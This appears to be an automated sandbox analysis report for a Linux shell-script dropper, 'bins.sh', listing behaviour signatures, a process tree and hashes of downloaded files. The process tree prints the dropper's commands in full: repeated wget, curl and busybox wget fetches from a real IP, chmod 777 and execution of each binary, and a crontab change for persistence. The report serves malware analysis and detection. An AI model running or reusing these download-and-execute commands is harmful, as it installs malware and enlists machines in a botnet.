Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/11/2024, 02:47

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241108-c9v25stdqh
  • SHA256 7f27651cd5947b577d3d2ca920a2f0b188cacbffe8b721b4899e781b83b4deac
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2023) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Writes file to tmp directory
          PID:649
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod 777 Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • File and Directory Permissions Modification
          PID:678
        • /tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          ./Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Executes dropped EXE
          PID:679
        • /bin/rm
          rm Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
            PID:681
          • /usr/bin/wget
            wget http://216.126.231.240/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • Writes file to tmp directory
            PID:683
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:694
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • Writes file to tmp directory
            PID:706
          • /bin/chmod
            chmod 777 9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • File and Directory Permissions Modification
            PID:711
          • /tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            ./9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
            • Executes dropped EXE
            PID:713
          • /bin/rm
            rm 9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
            2⤵
              PID:715
            • /usr/bin/wget
              wget http://216.126.231.240/bins/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • Writes file to tmp directory
              PID:718
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:732
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • Writes file to tmp directory
              PID:736
            • /bin/chmod
              chmod 777 6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • File and Directory Permissions Modification
              PID:739
            • /tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              ./6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
              • Executes dropped EXE
              PID:741
            • /bin/rm
              rm 6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
              2⤵
                PID:743
              • /usr/bin/wget
                wget http://216.126.231.240/bins/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • Writes file to tmp directory
                PID:745
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:758
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • Writes file to tmp directory
                PID:773
              • /bin/chmod
                chmod 777 7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • File and Directory Permissions Modification
                PID:774
              • /tmp/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                ./7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                • Executes dropped EXE
                PID:775
              • /bin/rm
                rm 7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                2⤵
                  PID:777
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • Writes file to tmp directory
                  PID:778
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:779
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • Writes file to tmp directory
                  PID:780
                • /bin/chmod
                  chmod 777 5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • File and Directory Permissions Modification
                  PID:781
                • /tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  ./5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:782
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:784
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:785
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:786
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:787
                      • /bin/rm
                        rm 5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                        2⤵
                          PID:789
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/CvSHNV7wReyzeGsofrXCT2cWWumoFgE7Zj
                          2⤵
                            PID:792

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe

                              • Path /tmp/5AFQsw1Y6sfzOJ4GUgnTPduGPlhgmAKPhe
                              • Size 177KB
                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                              • MD5 SHA1 SHA512 SSDEEP

                              6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl

                              • Path /tmp/6Nz2EKtmi645q5zpCoQekEMZhP9sfybhnl
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP

                              7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX

                              • Path /tmp/7rVy1xSe4H0pf1Pw8O1gF4JvpnrsAoKduX
                              • Size 107KB
                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                              • MD5 SHA1 SHA512 SSDEEP

                              9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl

                              • Path /tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP

                              Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc

                              • Path /tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
                              • Size 99KB
                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                              • MD5 SHA1 SHA512 SSDEEP

                              tmp.1ijr3g

                              • Path /var/spool/cron/crontabs/tmp.1ijr3g
                              • Size 210B
                              • SHA256 f811a801ad7bb638184de478022652bef03da44736d3f536680486d2d6ac4ba6
                              • MD5 SHA1 SHA512